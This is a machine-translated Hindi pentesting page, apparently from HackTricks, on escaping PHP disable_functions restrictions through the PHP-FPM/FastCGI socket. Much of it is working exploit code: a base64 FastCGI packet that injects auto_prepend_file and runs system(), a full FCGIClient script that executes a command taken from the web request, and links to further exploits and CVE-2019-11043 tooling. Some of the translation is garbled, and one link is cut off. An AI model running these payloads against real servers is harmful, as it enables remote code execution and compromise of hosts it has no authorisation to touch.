disable_functions bypass - php-fpm/FastCGI

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह।
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में PR जमा करके।

PHP-FPM

PHP-FPM को एक उत्कृष्ट विकल्प के रूप में पेश किया गया है स्टैंडर्ड PHP FastCGI के लिए, जो उन विशेषताओं को प्रदान करता है जो खासकर उच्च ट्रैफिक वाली वेबसाइटों के लिए लाभकारी हैं। यह एक मास्टर प्रक्रिया के माध्यम से काम करता है जो कई कर्मी प्रक्रियाओं का संग्रह देखता है। PHP स्क्रिप्ट अनुरोध के लिए, यह वेब सर्वर है जो एक FastCGI प्रॉक्सी कनेक्शन को PHP-FPM सेवा के लिए प्रारंभ करता है। इस सेवा की क्षमता है कि यह सर्वर पर नेटवर्क पोर्ट्स या यूनिक्स सॉकेट्स के माध्यम से अनुरोध प्राप्त कर सकता है।

प्रॉक्सी कनेक्शन की बीचक भूमिका के बावजूद, PHP-FPM को वेब सर्वर के साथ एक ही मशीन पर सक्रिय होना चाहिए। यह कनेक्शन, प्रॉक्सी-आधारित होने के बावजूद, पारंपरिक प्रॉक्सी कनेक्शनों से भिन्न है। एक अनुरोध प्राप्त करने पर, PHP-FPM से एक उपलब्ध कर्मी इसे प्रसंस्करण करता है - PHP स्क्रिप्ट को क्रियान्वित करता है और फिर परिणामों को वेब सर्वर को फिर से भेजता है। एक कर्मी एक अनुरोध का प्रसंस्करण समाप्त करने के बाद, यह आगामी अनुरोधों के लिए फिर से उपलब्ध हो जाता है।

लेकिन CGI और FastCGI क्या हैं?

CGI

सामान्यत: वेब पेज, फ़ाइलें और सभी दस्तावेज़ जो वेब सर्वर से ब्राउज़र में स्थानांतरित किए जाते हैं, वे विशेष सार्वजनिक निर्देशिका में संग्रहीत होते हैं जैसे home/user/public_html। जब ब्राउज़र किसी विशिष्ट सामग्री का अनुरोध करता है, तो सर्वर इस निर्देशिका की जाँच करता है और ब्राउज़र को आवश्यक फ़ाइल भेजता है।

अगर सर्वर पर CGI स्थापित है, तो विशिष्ट cgi-bin निर्देशिका भी वहाँ जोड़ी जाती है, उदाहरण के लिए home/user/public_html/cgi-bin। CGI स्क्रिप्ट इस निर्देशिका में संग्रहीत होते हैं। निर्देशिका में प्रत्येक फ़ाइल को एक क्रियात्मक कार्य के रूप में व्यवहार किया जाता है। निर्देशिका से स्क्रिप्ट तक पहुँचते समय, सर्वर फ़ाइल की सामग्री को ब्राउज़र को भेजने की बजाय, इस स्क्रिप्ट के लिए जिम्मेदार अनुप्रयोग को अनुरोध भेजता है। इनपुट डेटा प्रसंस्करण पूरा होने के बाद, अनुप्रयोग आउटपुट डेटा को वेब सर्वर को भेजता है जो डेटा को HTTP क्लाइंट को आगे भेजता है।

उदाहरण के लिए, जब CGI स्क्रिप्ट http://mysitename.com/cgi-bin/file.pl तक पहुँचा जाता है, तो सर्वर उचित पर्ल अनुप्रयोग को CGI के माध्यम से चलाएगा। स्क्रिप्ट के निष्पादन से उत्पन्न डेटा को अनुप्रयोग वेब सर्वर को भेजेगा। दूसरी ओर, सर्वर डेटा को ब्राउज़र को भेजेगा। अगर सर्वर के पास CGI नहीं होता, तो ब्राउज़र ने .pl फ़ाइल कोड को ही दिखाया होता। (व्याख्या यहाँ से)

FastCGI

FastCGI एक नए वेब प्रौद्योगिकी है, एक सुधारी हुई CGI संस्करण के रूप में मुख्य कार्यक्षमता वही रहती है।

FastCGI विकसित करने की आवश्यकता थी क्योंकि वेब एप्लिकेशनों के तेजी से विकास और जटिलता से उत्पन्न वेब की मांग को ध्यान में रखते हुए, और CGI प्रौद्योगिकी की स्केलेबिलिटी की कमियों का समाधान करने के लिए। उन आवश्यकताओं को पूरा करने के लिए Open Market ने FastCGI पेश किया - एक उच्च प्रदर्शन वाला CGI प्रौद्योगिकी संस्करण जिसमें वृद्धि की गई क्षमताएँ हैं।

डिसेबल_फंक्शन्स बायपास

disable_functions सीमाओं को टालकर FastCGI का उपयोग करके PHP कोड चलाना संभव है।

Gopherus के माध्यम से

मुझे यकीन नहीं है कि यह आधुनिक संस्करणों में काम कर रहा है क्योंकि मैंने एक बार प्रयास किया और यह कुछ भी नहीं निष्पादित किया। कृपया, अगर इसके बारे में अधिक जानकारी है तो मुझसे संपर्क करें [PEASS & HackTricks टेलीग्राम समूह यहाँ](https://t.me/peass), या ट्विटर [@carlospolopm](https://twitter.com/hacktricks_live)।

Gopherus का उपयोग करके आप FastCGI सुनने वाले को पेश करने के लिए एक पेलोड उत्पन्न कर सकते हैं और विचारशील आदेशों को निष्पादित कर सकते हैं:

फिर, आप urlencoded पेलोड को ग्रब कर सकते हैं और इसे डिकोड करके और बेस64 में बदल सकते हैं, [उदाहरण के लिए इस साइबरचेफ की रेसिपी का उपयोग करें]([http://icyberchef.com/#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxl

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP उत्पीड़न

मुझे यह नहीं पता कि यह आधुनिक संस्करणों में काम कर रहा है क्योंकि मैंने एक बार प्रयास किया और मैं कुछ भी नहीं कर पाया। वास्तव में मैंने देखा कि FastCGI निष्क्रियकरण से disable_functions खाली है, लेकिन PHP (किसी तरह से) मुझे पहले से निष्क्रिय किसी भी फ़ंक्शन को निष्पादित करने से रोक रहा था। कृपया, यदि इसके बारे में अधिक जानकारी है तो मुझसे संपर्क करें [PEASS & HackTricks telegram group here](https://t.me/peass), या ट्विटर [@carlospolopm](https://twitter.com/hacktricks_live)।

कोड से यहाँ।

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

इसके पूर्व फ़ंक्शन का उपयोग करके आप देखेंगे कि फ़ंक्शन system अब भी अक्षम है लेकिन phpinfo() में disable_functions खाली दिखाई देता है:

इसलिए, मुझे लगता है कि आप केवल php .ini कॉन्फ़िग फ़ाइल के माध्यम से disable_functions को सेट कर सकते हैं और PHP_VALUE उस सेटिंग को ओवरराइड नहीं करेगा।

FuckFastGCI

यह एक php स्क्रिप्ट है जो open_basedir और disable_functions को छलकरने के लिए fastcgi प्रोटोकॉल का उपयोग करता है। यह आपको कठिन disable_functions को RCE तक पहुँचाने में मदद करेगा जब वह दुर्भाग्यपूर्ण एक्सटेंशन लोड करता है। आप इसे यहाँ देख सकते हैं: https://github.com/w181496/FuckFastcgi या यहाँ एक स्लाइटली संशोधित और बेहतर वर्शन यहाँ: https://github.com/BorelEnzo/FuckFastcgi

आप देखेंगे कि एक्सप्लॉइट पिछले कोड के बहुत ही समान है, लेकिन disable_functions को छलकरने की कोशिश करने की बजाय, यह एक बाहरी PHP मॉड्यूल लोड करने की कोशिश करता है कोड को निष्पादित करने के लिए पैरामीटर extension_dir और extension का उपयोग करके चर PHP_ADMIN_VALUE के भीतर। नोट1: शायद आपको वही PHP संस्करण जिसे सर्वर उपयोग कर रहा है के साथ एक्सटेंशन को पुनः कंपाइल करने की आवश्यकता होगी (आप phpinfo के आउटपुट के भीतर इसे जांच सकते हैं):

नोट2: मैंने इसे काम करने में सफलता प्राप्त की जब मैंने extension_dir और extension मानों को एक PHP .ini कॉन्फ़िग फ़ाइल में डाल दिया (कुछ ऐसा जिसे आप एक सर्वर पर हमला करके नहीं कर सकते)। लेकिन किसी कारण से, जब इस एक्सप्लॉइट का उपयोग कर रहा था और एक्सटेंशन को PHP_ADMIN_VALUE चर से लोड कर रहा था, तो प्रक्रिया बस मर गई, इसलिए मुझे यह पता नहीं है कि क्या यह तकनीक अब भी वैध है।

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

आप इस सुरक्षा गड़बड़ी का शोध phuip-fpizdam के साथ उत्पादन कर सकते हैं और इस डॉकर पर्यावरण का उपयोग करके इसे जांच सकते हैं: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043। आप इस गड़बड़ी का विश्लेषण भी यहाँ पा सकते हैं here.

PreviousPHP - Useful Functions & disable_functions/open_basedir bypass Nextdisable_functions bypass - dl function

Last updated 2 months ago